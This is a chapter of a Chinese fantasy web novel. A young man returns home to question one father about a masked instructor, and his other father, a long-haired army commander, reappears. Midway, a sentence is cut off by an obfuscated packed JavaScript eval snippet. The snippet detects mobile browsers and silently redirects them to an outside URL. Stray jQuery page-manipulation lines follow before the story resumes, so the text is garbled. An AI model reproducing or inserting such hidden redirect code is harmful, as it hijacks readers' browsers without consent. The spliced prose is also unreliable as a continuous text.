74.追问
作品:《星渊行迹》 夜色如浓墨般泼洒而下,将整座ASP协会附属实训基地裹得密不透风,晚风裹挟着深夜独有的凛冽寒凉,掠过街道两侧的香樟林,卷落几片枯叶,发出细碎的沙沙声,为这寂静的夜晚添了几分孤寂与萧瑟。街道旁零星点缀的路灯,投下昏黄柔和的光晕,在地面上拉出道道细长的影子,勉强驱散了些许沉沉黑暗,也照亮了陆寂枫匆匆前行的脚步。考核室里那场诡异到令人窒息的对峙,如同一块千斤巨石,死死压在他的心头,挥之不去、愈演愈烈。与顾季然几人分开后,他几乎是一路疾奔,掌心紧紧攥着那柄依旧残留着微弱雷光的长枪,枪身流转的淡蓝芒光若隐若现,指尖能清晰触碰到底下翻涌的能量悸动,那是属于雷系异能的灼热与震颤。一路上,面具教官低低呢喃“陆上卿”的沙哑嗓音、伙伴们满脸困惑的追问、父亲陆上卿平日里温文尔雅、书卷气十足的模样,还有教官口中那套与自己分毫不差的“凌厉雷光战法”,无数碎片在他脑海中疯狂盘旋、交织,乱得让他心头发闷。心底的疑惑如同冲破堤坝的潮水,汹涌难平,连呼吸都带着几分急促与灼热,他迫切地想要奔回家,想要当面问问父亲,这一切背后,到底藏着怎样不为人知的秘密,父亲那被岁月掩盖的过往,又到底有着怎样鲜为人知的隐情。
推开家门的瞬间,一束暖柔的灯光从客厅方向倾泻而出,如同一张温柔的网,瞬间将他周身包裹,驱散了一路奔波的寒意与疲惫,也打破了深夜的死寂。与往日深夜归家时的清冷截然不同,今晚的客厅没有熄灯,一盏暖黄色的落地灯静静伫立在沙发旁,柔和的光线温柔地洒在米色布艺沙发上,精准勾勒出一道温和而挺拔的身影。陆上卿正安坐在沙发上,褪去了平日里常穿的笔挺文职工装,换上了一身浅灰色的宽松家居服,面料柔软亲肤,衬得他愈发温和。鼻梁上的细框金丝眼镜依旧整齐佩戴着,镜片后的眼眸温润而平静,没有丝毫波澜。他手中捧着一本厚重的古籍典籍,书页泛黄、边缘微微卷起,透着岁月的厚重感,指尖轻轻摩挲着细腻的书页,神情专注而平和,眉宇间萦绕着淡淡的书卷气,仿佛周遭的一切喧嚣都与他无关,唯有手中的典籍,才是他的整个世界。听到开门的声响,他缓缓抬起头,目光精准地落在陆寂枫身上,眼底瞬间漾开一抹柔和的笑意,那笑意如同春日里的暖阳,驱散了所有的疏离与清冷,他轻轻放下手中的典籍,语气温柔得能滴出水来,带着几分关切:“寂枫,回来了?今天的结业考核还顺利吗?怎么这么晚才到家,是不是考核时遇到什么麻烦了?有没有受伤?”
陆寂枫看着沙发上依旧温和从容的父亲,脚步微微一顿,心底的急切与忐忑瞬间交织在一起,如同乱麻般紧紧缠绕,让他有些手足无措。原本因一路疾奔而紧绷的身形稍稍放松,肩背也微微下沉,可眼底的凝重却丝毫未减,那份藏不住的疑惑与急切,清晰地写在脸上,连眉宇间都透着几分焦灼。他快步走进客厅,反手轻轻带上房门,将深夜的寒凉与萧瑟彻底隔绝在外,随后小心翼翼地将手中的雷光长枪靠在墙角,枪身残留的深蓝色雷光缓缓收敛、消散,最终彻底隐匿在空气中,只留下一丝淡淡的能量余韵,若有若无地萦绕在周遭,证明着刚才那场激烈考核的痕迹。他在陆上卿对面的单人沙发上坐下,身体微微前倾,双手不自觉地放在膝盖上,指尖微微蜷缩,目光紧紧锁住父亲的眼眸,没有丝毫犹豫,直接开口,语气中带着难以掩饰的急切与困惑,还有一丝不易察觉的试探,生怕触碰到父亲不愿提及的过往:“爸,我有件事想问你,今天给我做结业考核的那位教官,你认识他吗?”
陆上卿听到“考核教官”四个字,脸上的笑意依旧温和,没有丝毫波动,只是眉头微微蹙起,眼神中闪过一丝不易察觉的思索,仿佛在努力回忆着实训基地那些未曾谋面的教官身影。他沉默了片刻,指尖轻轻敲击着沙发扶手,动作舒缓而从容,带着几分文职人员独有的沉稳,片刻后,他轻轻摇了摇头,语气依旧平缓温和,带着一丝恰到好处的茫然,仿佛真的对这个名字毫无印象:“教官?我平日里大多在协会总部处理文职相关的事务,负责各类文件整理、数据统筹与协调工作,很少接触实训基地的考核教官,并不认识你说的这位。怎么了?这位教官有什么特别之处,让你这么在意,还特意匆匆赶回来问我?”
看到父亲摇头,陆寂枫心底的疑惑更甚,甚至掠过一丝淡淡的失落,仿佛心底那点微弱的希望被瞬间浇灭了一半。但他没有放弃,连忙补充细节,语气愈发急切,连语速都不自觉地加快了几分,将教官的模样、实力与异常反应一一清晰说出,生怕遗漏任何一个关键信息:“就是今天负责我结业考核的教官,他戴着一副纯黑色的面具,面具材质看着很特殊,哑光质感,紧紧遮住了整张脸,只露出一双深邃锐利的眼睛,那眼神很冷,带着一股久经沙场的凌厉与沧桑,仿佛见惯了生死。他的实力非常强悍,擅长操控一种诡异的黑色能量,那种能量阴冷刺骨,带着极强的腐蚀性,能轻易抵消我的雷光异能,若不是我拼尽全力,根本破不了他的防御。而且……他认识你,还一口笃定,我的雷光长枪战法,和你早年使用的战法分毫不差,连最细微的发力细节、雷光凝聚的节奏,甚至是收枪时的收尾动作,都一模一样,他还反复追问我,是不是你亲手教我的。”
“黑色面具……”陆上卿听到这四个字,脸上的温和笑容瞬间凝固,如同被骤然冻结的湖面,原本放松的身体猛地一僵,脊背下意识地挺直,手中的典籍被不自觉地攥紧,指节因用力而泛出青白,连呼吸都下意识地顿了半秒,气息也变得有些急促紊乱。他怔怔地坐在原地,眉头紧紧蹙起,眉心拧成一个深深的川字,眼神渐渐变得涣散,仿佛被这几个字瞬间拉回了那段尘封多年、不愿提及的过往——那段充满热血、硝烟与遗憾的岁月,那段他拼命想要遗忘的记忆。他薄唇微动,嘴里低声呢喃着,语气中带着一丝难以置信的恍惚,还有一丝不易察觉的怅惘与愧疚:“黑色面具……怎么会是他……他怎么会在这里……他不是应该在……”后面的话,他终究没有说出口,只是轻轻叹了口气,眼底翻涌着复杂的情绪,有怀念、有遗憾,还有一丝难以言喻的警惕。
陆寂枫敏锐地捕捉到父亲的异常,从父亲瞬间凝固的神色、紧绷的身体与复杂的眼神中,他能笃定,父亲一定认识那位面具教官,只是不愿意承认,不愿意提及那段过往。心中一动,正要开口追问,一道略显慵懒的身影从陆上卿的房间里缓缓走了出来。那人穿着一身剪裁合体的黑色家居服,面料柔软顺滑,紧紧贴合身形,勾勒出挺拔的轮廓。他的头发长得有些离谱,及肩的黑色发丝随意地散落着,遮住了半边脸颊,只露出一双深邃凌厉的眼眸,那眼眸自带一股久经沙场的铁血气场,却又透着几分随性散漫,仿佛什么都不放在心上,浑身都散发着“不好惹”的慵懒与威严。他周身隐约萦绕着一股强悍的能量波动,那股能量沉稳而霸道,带着军人独有的凛冽,只是被刻意收敛到极致,不仔细察觉,几乎难以发现其锋芒,唯有熟悉他的人,才能感受到那份潜藏在体内的、毁天灭地的力量。
陆寂枫看着这道陌生又带着几分熟悉的身影,脸上瞬间布满了疑惑,眉头紧紧蹙起,下意识地坐直了身体,脊背绷得笔直,眼底泛起一丝不易察觉的警惕——他可以确定,自己从未见过这样一副模样的人,可对方身上传来的气息,却让他莫名地感到亲切,又夹杂着一丝发自心底的敬畏,那种熟悉的压迫感,与平日里见到言知澜时极为相似,却又因为对方的长发而多了几分陌生与疏离。他连忙转头看向陆上卿,眼神中满是不解与急切,语气急促地问道:“爸,他是……是谁啊?怎么会在我们家?我从来没有见过他。”
陆上卿终于从恍惚中回过神来,听到陆寂枫的疑问,他无奈地翻了个白眼,看向那道身影的眼神里,毫不掩饰地透着嫌弃,语气也多了几分明显的不耐,连说话的语速都快了几分,带着几分恨铁不成钢的意味,开口解释道:“看什么看,这也是你父亲,言知澜。只不过是好几个月没剪头发,把自己弄成这副不修边幅的样子,头发乱糟糟的像个疯子,连你都认不出来了。我跟他说过多少次,让他抽时间剪头发,他就是不听,整天在边境忙得脚不沾地,回来也不知道收拾收拾自己。”
“言知澜?”陆寂枫愣了一下,瞳孔微微放大,脸上写满了难以置信,随即反应过来,心底的疑惑瞬间消散,取而代之的是满满的惊讶与欣喜。他连忙站起身,快步走到那人面前,伸出手轻轻拨开对方散落的发丝,那张熟悉的、带着铁血凌厉的脸庞渐渐清晰——剑眉星目,轮廓深邃硬朗,眉宇间自带一股军人的刚毅与威严,正是他许久未见的另一位父亲,ASP协会第一军团的铁血团长言知澜。只不过平日里的言知澜,总是短发利落、气场凌厉,一身笔挺的军装衬得他愈发威严霸气,如今长发及肩、眉眼慵懒,褪去了军装的加持,倒添了几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377316|199678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分陌生感,也少了几分往日的铁血锋芒,多了几分随性与散漫,让人一时难以辨认。
言知澜刚走到客厅中央,嘴角正噙着一抹笑意,准备开口和陆寂枫打招呼,语气里还带着几分久别重逢的欣喜与愧疚,可听到陆上卿的数落,嘴角的笑意瞬间僵住,脸上的慵懒也淡了几分,下意识地想要开口辩解几句,想要解释自己为什么没剪头发、没收拾自己。可他刚张开嘴,就被陆上卿一记严厉的眼神瞪了回去,那眼神里满是不满与警告,仿佛在说“你敢辩解试试”。陆上卿站起身,快步走到言知澜面前,双手叉腰,语气里的嫌弃更甚,毫不留情地数落起来,声音里带着几分气鼓鼓的意味:“你看看你现在这副样子,头发长到遮住半张脸,浑身乱糟糟的,连衣服都穿得歪歪扭扭,哪里还有半分ASP第一军团团长的样子?整天就知道在边境忙忙碌碌,回来也不知道收拾收拾自己,丢不丢人?还有,我跟你说过多少次,回来后收敛一下你的气场,别带着一身战场的戾气,吓到寂枫,你怎么就是不听?你看看你,刚一出来,周身的煞气就没藏住,仔细吓到孩子!”
言知澜被陆上卿数落得哑口无言,原本到了嘴边的辩解,也硬生生咽了回去,连反驳的勇气都没有。他垂了垂眼眸,脸上的铁血凌厉彻底褪去,取而代之的是一丝无奈与宠溺,连周身刻意收敛的气息,都变得愈发柔和,仿佛瞬间从一位叱咤边境的铁血团长,变成了一个温顺服软的“受气包”。他心里清楚,陆上卿这是真的不高兴了——平日里陆上卿性子温和,待人接物都极为谦和,极少这样直白地数落他,一旦开口数落,便是真的动了气,多半是因为自己的不修边幅,还有担心吓到寂枫。他轻轻叹了口气,语气带着几分服软,还有一丝讨好,语气放得极低:“知道了,下次一定注意。这不是最近边境事务繁杂,异兽频频异动,连轴转了好几个月,我连休息的时间都没有,更别说剪头发了,回来也没来得及收拾,别生气了,好不好?我明天一早就去剪头发,一定收拾得干干净净、利利索索的。”
陆上卿看着他这副服软认错的模样,脸色才稍稍缓和了一些,眼底的不满也淡了几分,却依旧没好气地瞥了他一眼,语气依旧带着几分不耐,语气生硬地说道:“下次注意?你都说多少个下次了?每次回来都这么说,结果呢?转头就忘了!赶紧去把头发剪了,好好收拾干净,换一身整洁的衣服,不然别出现在我面前,也别跟寂枫说话,省得丢人现眼。”
言知澜连忙点头应下,不敢有丝毫反驳,眼底的宠溺几乎要溢出来,连连点头说道:“好好好,我现在就去,现在就去收拾,绝不耽误。”说完,他转身就要去房间收拾自己,路过陆寂枫身边时,他停下脚步,伸出手轻轻揉了揉陆寂枫的头发,动作温柔得不像话,语气温和又带着几分愧疚:“寂枫,好久不见,辛苦你了,今天的结业考核还顺利吧?有没有受伤?刚才你和你爸说的那位教官,到底是什么情况?怎么还提到了你爸的战法?”
听到言知澜的问话,陆寂枫瞬间想起了自己匆匆归家的初衷,心底的疑惑再次汹涌浮现,原本稍稍平复的心情,又变得急切起来,连声音都带着几分委屈与恳求。他抬头看向陆上卿,又转头看了看言知澜,眼神中满是恳求,语气急切地说道:“爸,言爸,就是我刚才说的那位戴黑色面具的教官,他真的认识爸,还一口咬定我的雷光长枪战法和爸早年的战法一模一样,连最细微的地方都没错。你们到底认识他吗?他是谁啊?还有,爸,你早年到底是做什么的?为什么他会对你的战法那么熟悉,而我却从来不知道?你是不是有什么事情瞒着我?”
陆寂枫的话音落下,客厅里的氛围瞬间变得沉重起来,原本柔和的暖光,仿佛也驱散不了这份突如其来的凝重,空气中的气息都变得粘稠而压抑,让人呼吸都觉得有些不畅。陆上卿脸上的神色再次变得凝重,原本缓和的语气也沉了下去,他沉默了片刻,指尖轻轻摩挲着沙发扶手,动作有些僵硬,眼底闪过一丝复杂的情绪——有怀念,有遗憾,有愧疚,还有一丝不易察觉的警惕与闪躲,仿佛在挣扎着,要不要将那段尘封多年的秘密,告诉眼前这个满心疑惑的孩子。言知澜也停下了脚步,脸上的慵懒彻底褪去,神色变得严肃起来,周身的气息也变得愈发沉稳凌厉,目光下意识地看向陆上卿,眼底带着一丝询问与担忧,还有一丝了然,显然他也想到了那位戴黑色面具的教官是谁,也清楚陆上卿心底的挣扎。

